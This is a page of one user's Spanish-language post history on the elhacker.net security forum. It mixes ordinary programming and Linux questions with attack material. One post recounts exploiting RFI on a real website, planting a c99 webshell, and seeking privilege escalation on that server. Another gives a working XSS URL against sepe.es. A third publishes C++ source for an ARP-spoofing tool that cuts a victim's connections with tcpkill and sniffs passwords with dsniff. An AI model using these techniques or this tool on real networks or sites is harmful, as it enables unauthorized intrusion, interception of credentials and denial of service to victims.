elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8 9 10
41  Programación / Programación C/C++ / Ayuda delimitar fin de archivo en: 9 Enero 2013, 19:55 pm

Hola, he estado buscando pero no encontre lo que buscaba así que espero que con su buena voluntad me puedan ayudar.

Estoy creando un programa que maneja archivos pero me encontre con el problema de no saber como delimitar el fin de un archivo.

Por el momento uso simbulos "raros" para delimitar el final, pero vi que existe el "feof" para la libreria stdio.h y me preguntaba si con la libreria fstream había algo que hiciera lo mismo.

Muchas gracias


pd:recientemente he probado con eof y el texto me sale deformado.
42  Seguridad Informática / Análisis y Diseño de Malware / Recopilar infromación de malware en: 9 Enero 2013, 15:47 pm
Encontre un usuario en otro lugar que publico troyanos y decia que era una hacktool para hackear facebook, y era un verdadero troyano.

Quería llegar un paso más lejos y quería obtener la ip del atacante, pense en poner una maquina virtual y con netstat mirar que puerto estaba abierto pero antes querñia preguntar si hay alguna web o programa que ayude en esta tarea.

Mchas grcias pr todo.
43  Seguridad Informática / Hacking / Escalar privilegios en: 25 Diciembre 2012, 13:44 pm
hola, encontre una web que era vulnerable a RFI y conseguí meter la webshell c99, luego mire como estaban echos los archivos y contacte con el administrador del sitio para avisar del RFI, luego intente crear un archivo a.txt pero no tenia privilegios de administrador, tras buscar no encontre nada que me pudiera servir por lo que os pido que me ayudeis  ;D.

Necesito escalar privilegios en un sistema linux pero no puedo ejecutar comandos ni subir nada así que no se que hacer.

También encontré que había 70 sitios en el mismo virtual host.

 

PD:Es la primera vez que me encuentro con un RFI y que consigo hacer algo.
PPD:Esto lo estoy haciendo para aprender y jugar un rato, no para borrar ni destruir nada.
44  Programación / Desarrollo Web / Pagina web parecido al warzone en: 21 Diciembre 2012, 21:51 pm
He estado haciendo una web donde voy metiendo retos como en la warzone de elhacker.net. La idea de este sito no es tanto de competir sino de que cada uno pueda comprobar sus habilidades sin tener que registrarse en ningún sitio.

La web es muy simple y es de lo más básico que puede existir, si os gusta la idea siempre podéis colaborar creando retos.

Estoy intentando hacer retos más diversos.
URL:http://hackertrainer.zz.mu/warzone/

PD:el de spoof 2 no funciona bien por el simple motivo que no se puede spoofear de la ip que pide, pero si alguien lo quiere intentar y lo consigue por favor que lo comente en el foro ya que busque por google y no encontré nada..

Espero que les guste la idea, ya que la web aun le falta mucho k mejorar.
45  Seguridad Informática / Hacking / Spoofear ip en: 19 Diciembre 2012, 23:11 pm
Hola, estaba intentando spoofear una ip con un PHP que usaba
Código:
$_SERVER['REMOTE_ADDR']
y he probado con el X-Forwarded-For: ip y como es lógico no funciono.

Lo que me gustaría es spoofear la ip del localhost 127.0.0.1 pero he buscado y no he conseguido nada así que me vi obligado a molestarlos por esta tontería.

Gracias.
46  Sistemas Operativos / GNU/Linux / Problema al instalar/desinstalar paquetes. en: 15 Diciembre 2012, 14:59 pm
Tengo un problema que me tiene harto, e estado buscando info sobre como arreglarlo y nada a servido

Me instale el virtualbox-4.2 y me salia broken package, con el synaptic le puse reparar los paquetes rotos y me salio lo siguiente 
Código:
E: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.
E: Unable to correct dependencies

si pongo el comando
Citar
sudo apt-get remove --purge virtualbox-4.2

me sale
Código:
dpkg: error processing virtualbox-4.2 (--remove):
 Package is in a very bad inconsistent state - you should
 reinstall it before attempting a removal.
Errors were encountered while processing:
 virtualbox-4.2
E: Sub-process /usr/bin/dpkg returned an error code (1)

tambien prove
Código:
sudo apt-get update && sudo apt-get upgrade
y el resultado fue este

Citar
Fetched 2,479B in 2s (888B/s)
Reading package lists... Done
W: GPG error: http://repository.spotify.com stable Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 082CCEDF94558F59
W: GPG error: http://download.virtualbox.org precise Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org oneiric Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org natty Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org maverick Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org lucid Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org karmic Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org hardy Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org wheezy Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org squeeze Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
W: GPG error: http://download.virtualbox.org lenny Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 54422A4B98AB5139
Reading package lists... Done
Building dependency tree       
Reading state information... Done
You might want to run `apt-get -f install' to correct these.
The following packages have unmet dependencies:
E: Unmet dependencies. Try using -f.

Alguna idea de como solucionarlo?

Gracias
47  Seguridad Informática / Hacking / Como aprovecahr un XSS en: 12 Diciembre 2012, 19:03 pm
Encontre este XSS en la pagina del sepe.es y como no hay usuarios no se para que podria servir.

De que sirve un XSS en una web que no tiene usuarios a los que robar las cookies?
Y que navegador es mejor para encontrarlos por que en FIREFOX si k me sale el alert pero en chrome no.

link a la web con el XSS:http://www.sepe.es/speebuscador/buscar.do?q=%22%22%22%22%22%22%22%22%22%3E%3Cscript%3Ealert%28%27LA%20SEGURIDAD?%20QUE%20ES%20ESO?%27%29%3C/script%3E%3Dm%2Fasp%3Fname%3Dscriptcode%3E%3C%2Fa%3En

48  Sistemas Operativos / GNU/Linux / instalacion de bactrack. en: 11 Diciembre 2012, 20:44 pm
Hola, hace poco me instale bactrack y tuve problemas al descomprimir los archivos y por eso queria preguntar is hay algun programa tipo winrar que te permita dar a boton derecho y descomprimir.

De paso también quería preguntar como puedo aumentar la funcionalidad de bactrack sin reducir ram ni procesador. O si quereis recomendar programas que no consuman mucha ram ni cpu.

Otro problema que tuve fue al actualizar kubuntu que me pide si deseo reemplazar ficheros de configuración  yo conservo los míos y al final mi pc no se inicia y tuve que reinstalar bactrack.

Gracias por su ayuda
49  Programación / Programación C/C++ / Programa para facilitar el arpspoof en: 6 Diciembre 2012, 11:30 am
Bueno, hoy por fin ya no tengo examenes y hice un programa para facilitar el arpspoof, aun no esta acabado y solo le puse las opciones esenciales.

El multithread lo copie de google, y pues como yo lo copie de alguien no me parece ético guardarme el programa para mi.

Les cuelgo el programa como dije solo tiene las opciones esenciales, pero lo cuelgo por si a alguien le resulta útil para aprender o quiere mejorarlo y adaptarlo a sus necesidades.

PD:Prohibido venderlo o no compartir vuestras mejoras.

Código
  1. //Compilar con gcc test.cpp -lpthread
  2. #include <iostream>
  3. #include <string>
  4. #include <cstdlib>
  5. #include <fstream>
  6. #include <pthread.h>
  7. #include <cstring>
  8.  
  9. #define NUM_THREADS     4
  10.  
  11. struct thread_data{
  12.   int  thread_id;
  13.   char *o;
  14.   char *a;
  15. };
  16.  
  17.  
  18. using namespace std;
  19. //Funcion que ejecuta los diferentes hilos
  20.    void *arpspf_bidireccional (void *threadarg)
  21.    {
  22.      struct thread_data *my_data;
  23.  
  24.      my_data = (struct thread_data *) threadarg;
  25.  
  26.      if (my_data->thread_id==1) {system(my_data->o);}
  27.      if (my_data->thread_id==2) {system(my_data->o);}
  28.      if (my_data->thread_id==3) {system(my_data->a);}
  29.      pthread_exit(NULL);
  30.    }
  31.  
  32.  
  33.  
  34.  
  35. //Funcion para la opcion bidireccional
  36. int bidireccional(int oo, string opcion) {
  37.   string interfaz="",a="",b=""; string O,A;
  38.  system ("echo 1 > /proc/sys/net/ipv4/ip_forward");
  39. //Mostramos la informacion de las interfacez
  40.  system("ifconfig -s");
  41.  cout << "INTERFAZ: ";
  42.  cin >> interfaz;
  43.  cout << endl << endl;
  44.  //Listamos las ips que esten onkine
  45.  system("netdiscover");
  46.    cout << "IP DE LA VICTIMA: ";
  47.  cin >> a;
  48.  cout << "IP DEL ROUTER: ";
  49.  cin >> b;
  50.   pthread_t threads[NUM_THREADS];
  51.   struct thread_data td[NUM_THREADS];
  52.   int rc;
  53.   int i;
  54.   //Bucle para crear los hilos
  55.   for( i=0; i < NUM_THREADS; i++ ){
  56.      td[i].thread_id = i;
  57.      //Condicionales para elegir el tipo de filtro
  58.      switch (oo) {
  59. case 1:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+" or dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  60. break;
  61. case 2:A="gnome-terminal -e \"tcpkill -i "+interfaz+" dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  62. break;
  63. case 3:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  64. break;
  65. case 4:A="gnome-terminal -e \"tcpkill -i "+interfaz+" port "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  66. break;
  67. case 5:A="gnome-terminal -e \"tcpkill -i "+interfaz+" host "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
  68.  
  69.      }
  70.      //Condicionales para no ejecutar dos hilos iguales
  71.     if (i==1)  { O="arpspoof -t "+a+" "+b;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());}
  72.     if (i==2)  { O="arpspoof -t "+b+" "+a;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());}
  73.  
  74.      rc = pthread_create(&threads[i], NULL,
  75.                          arpspf_bidireccional, (void *)&td[i]);
  76.      if (rc){
  77.         cout << "Error:unable to create thread," << rc << endl;
  78.         return 0;
  79.      }
  80.   }
  81.   pthread_exit(NULL);
  82. }
  83.  
  84. //Menu principal
  85. int main() {
  86.  int o,oo;
  87.  string opcion="";
  88. cout << "Se requiere de gnome-terminal del paquete DSNIFF y de netdiscover O bactrack";
  89. cout << "\n\n------MENU PRINCIPAL------\n";
  90. cout << "1.CORTAR CONEXIONES CON TCPKILL\n2.ESNIFEAR CONTRASEÑAS CON DSNIFF\n0.DESCARGAR LOS PAQUETES NECESARIOS\n";
  91. cin >> o;
  92. if (o==0) {system("sudo apt-get install netdiscover");system("sudo apt-get install dsniff");system("sudo apt-get install gnome-terminal");return 0;}
  93. system("clear");
  94. cout << "\n \nFILTRO \n1.CORTAR LAS CONEXIONES DE LA VICTIMA\n2.CORTAR LAS CONEXIONES ENTRANTES DE LA VICTIMA\n3.CORTAR LAS CONEXIONES SALIENTES DE LA VICTIMA\n4.CORTAR CONEXIONES DE UN PUERTO\n5.CORTAR CONEXIONES CON UN HOST\n0.CREAR TU PROPIO FILTRO(NO HACER NADA)\n";
  95. cin >> oo;
  96. if (oo==4) {cout << endl << endl << "PUERTO: ";cin >> opcion;}
  97. if (oo==5) {cout << endl << endl << "HOST o DOMINIO: ";cin >> opcion;}
  98. cout << endl << endl;
  99. bidireccional(oo,opcion);
  100. }
  101.  
  102.  
50  Sistemas Operativos / GNU/Linux / Pregunta sobre bactrack en: 3 Diciembre 2012, 16:57 pm
Consegui instalar bactrack y windows a la vez, el problema que tengo ahora es que le meti 2gb de espacio y bueno me gustaria augmentarle el espacio del disco o mover carpetas coo bin o tmp a un disco duro externo medio ocupado.

Nose si hay alguna forma de augmentar el tamaño de la particion o se pueden mover carpetas pero con GParted me salian las particiones como bloqueadas, y cuando queria hacer una partición me decia que se borraria el disco duro.

En fin haber si alguien tiene alguna solucion.

Gracias.
Páginas: 1 2 3 4 [5] 6 7 8 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines